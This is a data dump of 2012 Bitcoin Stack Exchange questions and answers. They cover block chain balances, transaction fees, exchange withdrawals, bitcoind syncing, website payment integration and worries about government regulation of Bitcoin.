  <row Id="4378" PostTypeId="2" ParentId="4375" CreationDate="2012-08-07T22:28:50.260" Score="4" Body="&lt;p&gt;I carry around with me a Casascius physical bitcoin (and another one that has been peeled).  This gives a great visual aid in explaining it in terms another person is already familiar with.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can encourage people to visit the faucet, and then do a trial run spending it, as described here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitcoinmoney.com/post/25967017874&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinmoney.com/post/25967017874&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could print up some Bitcoin notes with a trivial amount of bitcoins (e.g., twenty cents worth) and hand them out to people.  Put an expiration on it and if the funds aren't redeemed within that time (e.g. a month) then you reclaim the funds and give them out again.  But at least every one that does get redeemed, you know that person (or whomever they gave the note to) now knows what a bitcoin is and how it can be transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the point to get across is that this is not just neat technology or some type of marketing of a new product.  This is how we defang the financial system that repeatedly harms us (or at least lessens our reliance on it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time a bitcoin transaction replaces a PayPal transaction it is like placing a pea on &quot;our&quot; side of scale versus the bricks holding their side down.  The scale has a big plate though, and eventually all of our peas together will cause it to tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's how decentralizioin works -- one pea at a time.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-07T22:28:50.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4379" PostTypeId="1" CreationDate="2012-08-08T08:35:47.003" Score="1" ViewCount="659" Body="&lt;p&gt;I've been analyzing the long term results of the block chain. In the process I realized the relationship between the distribution of coins over time, transaction fees, and coins being lost. The full paper is available here and is about 3 pages long:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/document/d/18RirEreHjr8AVrxeL6_MeN_pQPCxWnoj1s_qPunMLX8/edit#&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/document/d/18RirEreHjr8AVrxeL6_MeN_pQPCxWnoj1s_qPunMLX8/edit#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is accurate would the transaction fee system we transition to be a commission model?&lt;/p&gt;&#xA;" OwnerUserId="1691" LastActivityDate="2012-08-08T21:30:25.680" Title="Will the transaction fee economy in Bitcoin follow the commission model?" Tags="|blockchain|economic-theory|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4380" PostTypeId="1" CreationDate="2012-08-08T09:48:43.520" Score="8" ViewCount="1368" Body="&lt;p&gt;Currently one needs to traverse the full blockchain to determine the balance of a certain address. Wouldn't it be much more efficient to include the new balance along with each transaction? That way clients wouldn't need the whole blockchain to verify a transaction, since miners already verified the balance.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2012-08-08T23:10:16.330" Title="Why are balances not in the blockchain?" Tags="|transactions|blockchain|protocol|development|balance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4381" PostTypeId="2" ParentId="4380" CreationDate="2012-08-08T10:06:40.313" Score="1" Body="&lt;p&gt;Technically, you should use a new address for each new incoming transaction to protect your anonymity. The standard client likewise sends the remaining balance after a transfer to a new keypair. This would make the transaction amount synonymous with the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for addresses that are used more than once - it would be first of all a bit wasteful (having to add an extra field for each transaction), and moreover - you don't need to claim all the inputs for a given address each time you send coins. Sometimes you don't want to claim each input - for example with low-confirmation transactions. Say you have a transaction that has 10 confirmations and one that has 1 - if you want to make sure your transfer will go through even if some blocks get overwritten, you would only use the 10 confirmation input and leave the 1 confirmation one to mature. Such operations would make the balances go wrong very quickly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-08T10:06:40.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4382" PostTypeId="2" ParentId="4379" CreationDate="2012-08-08T10:31:10.670" Score="1" Body="&lt;p&gt;Not entirely. In a commission model you generally pay a percentage of what the transaction is, whereas in Bitcoin you just pay for the bytes the transaction requires. The setup is less like a commission model and more like a bank transfer fee model - banks generally don`t charge you for how much you transfer, but for the transfer itself.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="516" LastEditDate="2012-08-08T21:30:25.680" LastActivityDate="2012-08-08T21:30:25.680" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4383" PostTypeId="2" ParentId="4249" CreationDate="2012-08-08T10:43:13.900" Score="6" Body="&lt;p&gt;poclbm has not been set to alter the clock rate of your GPU. Windows media player is doing this when open and adjusts the system to what it requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you specify clock speeds for your GPU via parameters or a separate application you can overcome this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theres a number of applications which effect clock rates on windows machines, flash player open within a browser reduces a single card of mine down from 400 m/hash to 350 m/hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer is very easy to specify clock speeds and mine with, it adjusts them when you start the application (not when closing though).&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="5406" LastEditDate="2017-06-17T23:31:53.187" LastActivityDate="2017-06-17T23:31:53.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4384" PostTypeId="2" ParentId="450" CreationDate="2012-08-08T21:29:04.760" Score="-2" Body="&lt;p&gt;A &quot;bitcoin&quot; is an individual output of a transaction. It is a &quot;coin&quot;, because it is not possible to spend only a part of it and somehow leave the rest resting in your wallet, hanging off the transaction it came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction can be viewes as this: take these &quot;bitcoins&quot;, melt them, mint new ones according to the specifications provided by me and distribute them as I am instructing. Each transaction destroys the bitcoins that are its inputs and produces bitcoins that are its outputs. The &quot;transaction fees&quot; are like &quot;unused raw material&quot; which returns back to the &quot;ground&quot; and can only be extracted back as a coin by mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to real physical coins - the cashier can't take a half of your 50 cent coin when your bill says you only owe 25 cents, he only can take the whole 50 cent coin and give you a 25 coin back to get rid of the excess payment of yours. Similarly if you have only 50 BTC coin on your account, and you want to pay 5 BTC, you (or, more specifically, your BTC client) must &quot;melt&quot; the 50 BTC coin to create a 5 BTC and a 45 BTC coin before it can give the 5 BTC to the destination address you specified. And this is also why you have to specify a destination for the 45 BTC coin as well (otherwise the 45 BTC will turn into &quot;raw unmined bitcoin material&quot; which is not directly usable and must be mined).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer is &quot;yes&quot;. A bitcoin starts its existence at an output of a transaction and continues its existence until it enters an input of a transaction. When the bitcoin entered another transaction, it no longer exists; the outputs of that another transaction are completely different bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1696" LastActivityDate="2012-08-08T21:29:04.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4385" PostTypeId="2" ParentId="4380" CreationDate="2012-08-08T21:36:37.797" Score="3" Body="&lt;p&gt;That would not work because the way the system is designed, accounts do not have a pile of coins to spend. Spendable coins exist in the form of transaction outputs that have not yet been used as the input of a subsequent transaction. To form a valid transaction, you must pull in coins from specific transaction outputs, not from specific accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could imagine a Bitcoin-like system where accounts have balances. In such a system, you could simply report the new balance of an account in any block that modified that account's balance. Then a transaction could pull in from accounts rather than specific transaction outputs. But that system would not be Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, Bitcoin was not designed around accounts. Accounts are just a convenient way for human beings using Bitcoin to think about the set of transaction outputs that can be claimed with the same key. (Or to form transactions that we know can only be claimed by a particular person.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-08T21:36:37.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4386" PostTypeId="2" ParentId="4380" CreationDate="2012-08-08T23:10:16.330" Score="0" Body="&lt;p&gt;When you receive a payment, you could presumably find from the transaction which block an input came from, and then request a copy of just that block to verify the balance.  But without having all the blocks from that block to the latest one you wouldn't know whether the inputs had already been spent in another transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proposed schemes which do appear to be workable maintain a list of the balance of all addresses in a separate blockchain.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-08-08T23:10:16.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4387" PostTypeId="2" ParentId="4340" CreationDate="2012-08-09T00:46:03.153" Score="0" Body="&lt;p&gt;i find it stupid that one limits what one can do with the internet. There is no need to pay an extra few thousand a month just to get rid of the terms of service which prohibit the use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comcast prohibits use of servers, but many still host servers on their network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this means i cant put up a multiplayer game to play with friends? Most games have the ability for one to host a game by using their own computer as the host, in order to play mods or to not be interrupted by other random people joining the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not google says they prohibit it, many still will attempt and be successful to host a long term server on their network as google spreads their availability throughout the usa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless they portscan every customer and check for open ports on the customers network every day and night, they will not find anyone who may be hosting a server. And port scanning can take a long time depending on the number of ports that they check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i couldnt just be limited to viewing videos, and loading web pages. You wont be taking advantage of the gigabit speeds you are provided. And for one thing, providing a server does not have to be commercial, have any income (make money) or be widely popular. As a server can be limited to just small things, such as playing a quick game with friends or sharing a bit of information over FTP rather than having to upload the data, then have them download it making the file transfer a bit longer. &lt;/p&gt;&#xA;" OwnerUserId="1699" LastEditorUserId="1699" LastEditDate="2012-08-09T00:55:12.177" LastActivityDate="2012-08-09T00:55:12.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4388" PostTypeId="1" CreationDate="2012-08-09T03:23:41.697" Score="3" ViewCount="518" Body="&lt;p&gt;I installed Bitcoin Qt, and it began updating the blocks extremely slowly. After several hours, I restarted the program, thinking it might speed it up. Now, it appears completely stagnant; the icon in the bottom right is now two monitors and an X, rather than the previous icons which denoted the rate of the update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to update the blocks? I'm waiting on some transferred funds, and this is starting to be a real hassle.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastEditorUserId="3364" LastEditDate="2013-04-02T22:52:01.287" LastActivityDate="2014-10-23T20:14:38.513" Title="Bitcoin qt won't update" Tags="|bitcoin-core|synchronization|connection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4389" PostTypeId="1" CreationDate="2012-08-09T03:50:14.597" Score="8" ViewCount="634" Body="&lt;p&gt;What's to stop a government, say the U.S. government, from saying &quot;Hey, it's okay if you want to use Bitcoins, but you have to use at least version 0.6.3&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then a year later changing the law to &quot;Hey, it's okay if you want to use Bitcoins, but we're going to make sure you're using the most up to date version of the Bitcoin client through the XYZ Act.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then another year, a new bill: &quot;Hey, you love Bitcoins, right?  How about this new bill that 'improves' security by requiring any Bitcoin clients to include features ABC.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another year goes by and: &quot;Woah, hey, we can't let you use a non-licensed bitcoin client, that wouldn't be very responsible!  Make sure you use one of the clients on this list!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;365 days later: &quot;Hey man, how are you liking your Bitcoins?  Oh, great, well, we just wanted to let you know we're going to put out a client of our own.  Oh no, no major differences, we just want to make it more secure.  You can still use 3rd party clients, this just gives you more choices! GO USA!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another year goes by and Bitcoin is in large use by PayPal, Amazon, Ebay, NewEgg and thousands of other big name companies as well as millions of small-time mom-and-pop sites.  The government regulation and licensing requirements continue to develop and change the nature of the Bitcoin algorithm and blockchain (having the innumerable thousands of businesses using government licensed clients allows a higher than 51% control over the algorithm and blockchain rules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty soon the government dictates new code and rules that allows the easy creation of new coins by government machines.  It could also allow the insertion of a tax that strips a very small percentage away from each transaction that is sent to a central government address.  It could introduce anti-privacy changes to track geographical location or IP addresses attributed to each transaction and address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what can we or the developers do to stop the slow year-by-year encroachment of seemingly &quot;harmless, even helpful&quot; laws and regulations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin ever seems legitimate to Big Business and is used on very common basis, many business will gladly give in to government demands to use regulated clients if the law says they must.  A large scale switch to a government corrupted client could gain a greater than 51% control over the Bitcoin network.  All the government needs to do is wait for those willing to acquiesce to its demands to grow to more than 51%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done to prevent this?&lt;/p&gt;&#xA;" OwnerUserId="1701" LastActivityDate="2013-08-19T13:46:37.677" Title="Defense from Government Intervention" Tags="|client|blockchain|legal|algorithms|government|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4390" PostTypeId="2" ParentId="4389" CreationDate="2012-08-09T04:12:05.287" Score="7" Body="&lt;p&gt;The scenario you name would be great for cryptocurrencies as it would make them mainstream. As soon as people got sick of govt intervention with Bitcoin in such a scenario, it would probably be relatively easy to get enormous numbers of people to switch over to a very similar (but independent) Altcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nature of the cryptocurrency technology is such that it is very difficult to stop people running the software, but a govt could have success in closing down businesses that accept unofficial versions such as the fictional Altcoin. If that happened, it could however still thrive outside of the region being regulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prevention would probably need to occur at a political level, but I'd hope market forces as I've just described will be sufficient prevention as long as no organisation gains too much power over international law. Agreements negotiated in secret like the &lt;a href=&quot;http://en.wikipedia.org/wiki/Trans-Pacific_Strategic_Economic_Partnership&quot;&gt;TPPA&lt;/a&gt; are something to watch out for though.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-09T04:31:02.387" LastActivityDate="2012-08-09T04:31:02.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4391" PostTypeId="2" ParentId="4389" CreationDate="2012-08-09T09:43:17.530" Score="3" Body="&lt;p&gt;The most important thing you could do is inform everyone of the dangers of running said software. It would be similar to saying &quot;hey, that music album installs malware on your computer to prevent you from copying it&quot;. With enough publicity you could potentially make people rally against such changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to keep in mind that for the time being the government has enough money to just overwhelm the Bitcoin network by introducing either a large amount of computing power or a lot of controlled nodes. Such a thing could destroy any Bitcoin-like cryptocurrency at a whim.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-09T09:43:17.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4392" PostTypeId="1" CreationDate="2012-08-09T13:12:33.607" Score="2" ViewCount="259" Body="&lt;p&gt;I need to make a bank transfer to a US bank account and found out that MTGOX is asking for 2000 CNY fee. That is too much since the amount of money I want to transfer is smaller than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any exchange service with smaller fees?&lt;/p&gt;&#xA;" OwnerUserId="1624" LastActivityDate="2012-08-09T20:37:52.760" Title="Is there a service to withdraw dollars by wire transfer with small fees?" Tags="|exchanges|withdrawal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4393" PostTypeId="2" ParentId="4392" CreationDate="2012-08-09T13:52:11.667" Score="1" Body="&lt;p&gt;Take out to Dwolla (FREE Account), then move to bank account for a flat fee of  $0.25.  I use to use them all the time like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fee list from Dwolla:&#xA;&lt;a href=&quot;https://www.dwolla.com/fees&quot; rel=&quot;nofollow&quot;&gt;https://www.dwolla.com/fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox doesn't charge anything to send to Dwolla, they just charge you to transfer from BTC to Dollar's. But it's cheaper than what it was for ACH transfer.&lt;/p&gt;&#xA;" OwnerUserId="1704" LastActivityDate="2012-08-09T13:52:11.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4394" PostTypeId="1" AcceptedAnswerId="4398" CreationDate="2012-08-09T19:48:57.600" Score="8" ViewCount="2120" Body="&lt;p&gt;I'm using bitcoind on Ubuntu, headless. So there's no GUI to tell me when it's done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I know?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1171" LastEditDate="2013-04-05T13:50:55.800" LastActivityDate="2020-06-10T11:01:31.420" Title="When downloading the blockchain for the first time using bitcoind, how do I know when it's done?" Tags="|blockchain|synchronization|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4395" PostTypeId="2" ParentId="4392" CreationDate="2012-08-09T20:37:52.760" Score="1" Body="&lt;p&gt;If the funds don't need to arrive same-day, withdraw USDs via ACH at BitFloor and Camp BX.  Simply enter routing # and account number.  It is not the same thing as a wire transfer, so you would want to make sure your counterparty will accept ACH transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even order rush ACH through BitFloor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need to do a wire (e.g., same-day transfer), a lot of exchanges offer than, with varying fees.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-09T20:37:52.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4397" PostTypeId="2" ParentId="4315" CreationDate="2012-08-10T06:15:32.947" Score="2" Body="&lt;p&gt;While I understand the temptation to re-/abuse the blockchain for such things, why not use a service which is built on purpose for this? Have a look at guardtime.com, specifically &lt;a href=&quot;http://www.guardtime.com/software/developer-tools/&quot; rel=&quot;nofollow&quot;&gt;http://www.guardtime.com/software/developer-tools/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1708" LastEditorUserId="659" LastEditDate="2012-08-15T22:54:18.067" LastActivityDate="2012-08-15T22:54:18.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4398" PostTypeId="2" ParentId="4394" CreationDate="2012-08-10T06:50:41.333" Score="5" Body="&lt;p&gt;Run &lt;code&gt;bitcoind getinfo&lt;/code&gt; in your shell of choice and compare the block count, listed after &quot;blocks&quot;, to the block count listed &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. If the two numbers are the same, your client is up to date.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastActivityDate="2012-08-10T06:50:41.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4400" PostTypeId="2" ParentId="589" CreationDate="2012-08-10T09:56:59.113" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://smartcardwallet.org/&quot; rel=&quot;nofollow&quot;&gt;http://smartcardwallet.org/&lt;/a&gt; claims to have a system where the wallet is stored on a smart card. A custom client is needed to access the wallet, but they say all software is open source.&lt;/p&gt;&#xA;" OwnerUserId="1708" LastEditorUserId="516" LastEditDate="2013-01-23T08:52:23.703" LastActivityDate="2013-01-23T08:52:23.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4401" PostTypeId="1" CreationDate="2012-08-10T16:12:49.330" Score="9" ViewCount="49146" Body="&lt;p&gt;This question seems to me to be such an obvious question, that it must be answered somewhere.&lt;br&gt;&#xA;As I understand it is necessary to buy bitcoins using dollars or some other currency. Where do those dollars etc. go?&lt;/p&gt;&#xA;" OwnerUserId="1710" LastEditorUserId="5406" LastEditDate="2016-04-01T12:34:37.270" LastActivityDate="2017-06-18T13:53:35.833" Title="Where do the dollars go?" Tags="|exchanges|buy-bitcoins|trade|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4402" PostTypeId="2" ParentId="3617" CreationDate="2012-08-10T16:24:48.853" Score="3" Body="&lt;p&gt;The following list will have inaccuracies. I have not been maintaining it as much recently. Some ips are known not to belong to a particular pool but are marked as such because they located nearby (e.g. same datacenter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastehtml.com/view/c7rf4x1gc.rtxt&quot; rel=&quot;nofollow&quot;&gt;http://pastehtml.com/view/c7rf4x1gc.rtxt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Again no guarantees of accuracy *&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-08-10T16:24:48.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4403" PostTypeId="2" ParentId="4401" CreationDate="2012-08-10T16:52:41.460" Score="5" Body="&lt;p&gt;Directly to people who are currently selling (if you don't count the minor exchange fees).&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-08-10T16:52:41.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4404" PostTypeId="2" ParentId="4401" CreationDate="2012-08-10T18:30:35.847" Score="19" Body="&lt;p&gt;When you buy a bottle of soda at the convenience store, where does the money go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The money goes to the party that sold it to you -- that party owned the bottle before you owned it.  You might be able to trace ownership of that bottle all the way back through the supply chain, to the point at which it was manufactured.   It probably had several prior owners before you got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are like a commodity that works the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you purchase from a market exchange (like Mt. Gox), here's how that works.  Mt. Gox, like most market exchanges, operates using deposit accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To buy $100 USD worth of bitcoins you must have deposited $100 to your account with the exchange.  To sell 10 bitcoins you must have deposited 10 BTC to your account with the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you trade your $100 USD for someone else's 10 BTC, your $100 goes to their account, and their 10 BTC goes to yours (if there were fees, the amounts would be adjusted appropriately to cover fees).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you withdraw your BTCs, the exchange will send that amount of bitcoins from the exchange's wallet to yours.  When the seller withdraws the USDs (or whatever currency the coins were sold for), the exchange will send those funds.  This generally occurs through the banking system, with the funds eventually arriving in the seller's bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other types of bitcoin sellers -- direct sellers, who have an inventory of bitcoins that they purchased previously, or will make a trade behind the scenes to be able to deliver your order.  So the dollars from your purchase goes to them in exchange for the bitcoins they owned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are other types of trades which involve risk.  These include financial derivatives where you may speculate on bitcoins using cash but until you actually withdraw those bitcoins to your own wallet, you only own a claim against those bitcoins (or against a financial position on bitcoins).  But that is an example where there is not a simple buying and selling of bitcions at a certain price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now every bitcoin in existence originated from mining.  Mined coins arrive 50 at a time about once every ten minutes.  They are earned by a mining operator (or mining pool and distributed to the mining operators who were mining).  To mine, one must buy expensive hardware, expend the effort to build and operate the equipment, and purchase the electricity expended during mining.  The mining operators can then deposit their bitcoin proceeds to an exchange to sell them and receive cash in exchange.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-16T01:02:20.360" LastActivityDate="2012-08-16T01:02:20.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4405" PostTypeId="1" CreationDate="2012-08-11T00:57:28.887" Score="3" ViewCount="576" Body="&lt;p&gt;I have some bitcoins on Mt.Gox. Against the possibility that a nuclear holocaust or some sort of hanky-panky or the like were to wipe out Mt.Gox tomorrow morning, how should I back those up?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="105" LastEditDate="2013-05-17T16:41:16.917" LastActivityDate="2014-02-12T06:08:30.950" Title="Backing up bitcoins on Mt.Gox" Tags="|mtgox|backup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4406" PostTypeId="2" ParentId="4405" CreationDate="2012-08-11T01:08:32.723" Score="5" Body="&lt;p&gt;Mt. Gox operates a hosted (shared) EWallet.   They claim to have cold storage and perform other backup practices, but there is nothing that you as a Mt. Gox accountholder can do to &quot;back up&quot; those funds.  And if there is a problem restricting you from accessing your Mt. Gox account, there is nothing you can do to recover those funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have your own wallet, perhaps running the Bitcoin.org client, you then do have the ability (and responsibility) to back it up.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-11T07:12:04.700" LastActivityDate="2012-08-11T07:12:04.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4407" PostTypeId="2" ParentId="4269" CreationDate="2012-08-11T05:22:46.523" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitcoinstarter.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinstarter.com&lt;/a&gt; hasn't launched yet, but it does have a webpage where you can submit your email address to be notified when it does launch.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="516" LastEditDate="2012-08-11T23:43:53.710" LastActivityDate="2012-08-11T23:43:53.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4408" PostTypeId="2" ParentId="4376" CreationDate="2012-08-11T10:51:25.807" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitcoincharts.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoincharts.com&lt;/a&gt; pretty much is what you look for I think. They got a huge list of exchanges and detailed informations about each site.&lt;/p&gt;&#xA;" OwnerUserId="1714" LastActivityDate="2012-08-11T10:51:25.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4409" PostTypeId="1" CreationDate="2012-08-12T15:05:14.570" Score="3" ViewCount="290" Body="&lt;p&gt;I want to implement a bitcoin paying system to my website. I came up with this &lt;a href=&quot;http://bitfreak.info/?page=tools&amp;amp;t=bitsci&quot; rel=&quot;nofollow&quot;&gt;http://bitfreak.info/?page=tools&amp;amp;t=bitsci&lt;/a&gt; but I am unable to understand how it's working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked up into the sourcecode but I don't get where I can get the bitcoins after the user has paid. The term WIF is used a lot; what is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any simpler solution? I don't want to use a third-party service&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="516" LastEditDate="2012-08-13T03:53:11.027" LastActivityDate="2012-08-13T03:53:11.027" Title="Implement website payment solution" Tags="|payment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4410" PostTypeId="2" ParentId="4409" CreationDate="2012-08-12T18:02:19.090" Score="2" Body="&lt;p&gt;If you want to create your own implementation using the Bitcoin Client, you ought to look into &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;Accounts&lt;/a&gt;. This concept would allow you to have complete control over your users' payments, but it would also mean that you have to implement your own solution that would be communicating with Bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a more complete &lt;a href=&quot;https://www.strongcoin.com/blog/bitcoin_micropayments_with_strongcoin&quot; rel=&quot;nofollow&quot;&gt;solution from StrongCoin&lt;/a&gt; in PHP, but I have no experience with it.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-12T18:02:19.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4411" PostTypeId="1" CreationDate="2012-08-12T18:07:34.920" Score="7" ViewCount="2475" Body="&lt;p&gt;I am a newbie when it comes to bitcoin. I am using the default bitcoint client and I have some bitcoins in my wallet. How can i write them down and give it to some one and then the person how can they use them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible ?&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2012-08-13T18:04:55.813" Title="Write down bitcoins on a piece of paper" Tags="|payment|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4412" PostTypeId="2" ParentId="4409" CreationDate="2012-08-12T18:29:05.337" Score="0" Body="&lt;p&gt;The MultiBit Merchant project provides a demonstration of how to use the &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitCoinJ&lt;/a&gt; library to accept payments using Java. At the time of writing, the source code can be found here: &lt;a href=&quot;https://github.com/gary-rowe/MultiBitMerchant&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gary-rowe/MultiBitMerchant&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more detail about how to get started let me know.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-08-12T18:29:05.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
